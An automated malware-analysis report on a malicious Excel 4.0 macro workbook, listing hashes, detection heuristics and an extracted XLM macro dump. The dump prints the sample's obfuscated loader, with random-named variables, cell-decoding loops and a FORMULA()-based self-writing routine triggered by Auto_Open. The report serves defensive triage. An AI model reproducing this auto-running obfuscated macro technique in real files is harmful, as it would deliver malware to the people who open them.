Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fc8b700878bb841a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:10 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: d225ab9c6223ef135e9969691c1fb0d8 SHA-1: 5284720f9d2787817d3c0d52d80e4921fbe7a74a SHA-256: fc8b700878bb841a0a5e900393f6f841b205fc8a43989117a63acc403b4c5eb2
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6571 bytes
SHA-256: 818f676f06e4dc9861fa0cfc4607e54a15a2beddcf251ab71b2580ac6d0517cb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
22 of 40 identifiers look randomly generated (e.g. 'NYjrQkOJJpij') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dTELGuZY
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G183 
' 0018     21 LABEL : Cell Value, String Constant - aZzlbH len=0 
' 0018     21 LABEL : Cell Value, String Constant - CfNrsH len=0 
' 0018     26 LABEL : Cell Value, String Constant - CtruyzrzNaV len=0 
' 0018     27 LABEL : Cell Value, String Constant - drFwWkdhUszd len=0 
' 0018     27 LABEL : Cell Value, String Constant - dzuzImLBSpTS len=0 
' 0018     23 LABEL : Cell Value, String Constant - jMbjWmRV len=0 
' 0018     24 LABEL : Cell Value, String Constant - lrKWGPsLa len=0 
' 0018     24 LABEL : Cell Value, String Constant - mfZzTODBk len=0 
' 0018     24 LABEL : Cell Value, String Constant - NHnDuQJMJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - nJZReU len=0 
' 0018     24 LABEL : Cell Value, String Constant - NmJkBsUgm len=0 
' 0018     27 LABEL : Cell Value, String Constant - NYjrQkOJJpij len=0 
' 0018     23 LABEL : Cell Value, String Constant - OrcRHoWH len=0 
' 0018     23 LABEL : Cell Value, String Constant - OrFVPBEM len=0 
' 0018     24 LABEL : Cell Value, String Constant - psrLJYoDI len=0 
' 0018     20 LABEL : Cell Value, String Constant - qVBBR len=0 
' 0018     23 LABEL : Cell Value, String Constant - SoSBqGFb len=0 
' 0018     25 LABEL : Cell Value, String Constant - UJMQhxTJGg len=0 
' 0018     21 LABEL : Cell Value, String Constant - wqGRbC len=0 
' 0018     27 LABEL : Cell Value, String Constant - XbslwxLWyVmu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dTELGuZY,G83,"SET.NAME("XbslwxLWyVmu",VALUE("0"))",""
'  dTELGuZY,G88,"SET.NAME("OrFVPBEM",XbslwxLWyVmu)",""
'  dTELGuZY,G91,"SET.NAME("CtruyzrzNaV",XbslwxLWyVmu)",""
'  dTELGuZY,G95,"SET.NAME("UJMQhxTJGg",COUNTA(lrKWGPsLa))",""
'  dTELGuZY,G98,"SET.NAME("drFwWkdhUszd",COUNTA(NYjrQkOJJpij))",""
'  dTELGuZY,G102,[],""
'  dTELGuZY,G107,"SET.NAME("aZzlbH","")",""
'  dTELGuZY,G112,"OrFVPBEM",""
'  dTELGuZY,G117,"SET.NAME("mfZzTODBk",HLOOKUP("*",lrKWGPsLa,OrFVPBEM,FALSE))",""
'  dTELGuZY,G122,"wqGRbC",""
'  dTELGuZY,G124,"SET.NAME("dzuzImLBSpTS",XbslwxLWyVmu)",""
'  dTELGuZY,G126,[],""
'  dTELGuZY,G130,"dzuzImLBSpTS",""
'  dTELGuZY,G133,"OrcRHoWH",""
'  dTELGuZY,G138,"SoSBqGFb",""
'  dTELGuZY,G141,"CfNrsH",""
'  dTELGuZY,G144,"SET.NAME("NmJkBsUgm",VALUE(HLOOKUP("*",NYjrQkOJJpij,CfNrsH,FALSE)))",""
'  dTELGuZY,G147,"qVBBR",""
'  dTELGuZY,G152,"aZzlbH",""
'  dTELGuZY,G156,"CtruyzrzNaV",""
'  dTELGuZY,G159,NEXT(),""
'  dTELGuZY,G163,"nJZReU",""
'  dTELGuZY,G168,"SET.NAME("f",INT(T(FORMULA(T(aZzlbH)&"",""&T(nJZReU)))))",""
'  dTELGuZY,G173,"NHnDuQJMJ",""
'  dTELGuZY,G177,NEXT(),""
'  dTELGuZY,G180,RETURN(),""
'  dTELGuZY,G208,"SET.NAME("psrLJYoDI",G83)",""
'  dTELGuZY,G210,"lrKWGPsLa",""
'  dTELGuZY,G212,"SET.NAME("NYjrQkOJJpij",R53C11)",""
'  dTELGuZY,G217,"SET.NAME("NHnDuQJMJ",227)",""
'  dTELGuZY,G221,"SET.NAME("jMbjWmRV",7)",""
'  dTELGuZY,G226,psrLJYoDI(),""
'  dTELGuZY,G227,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.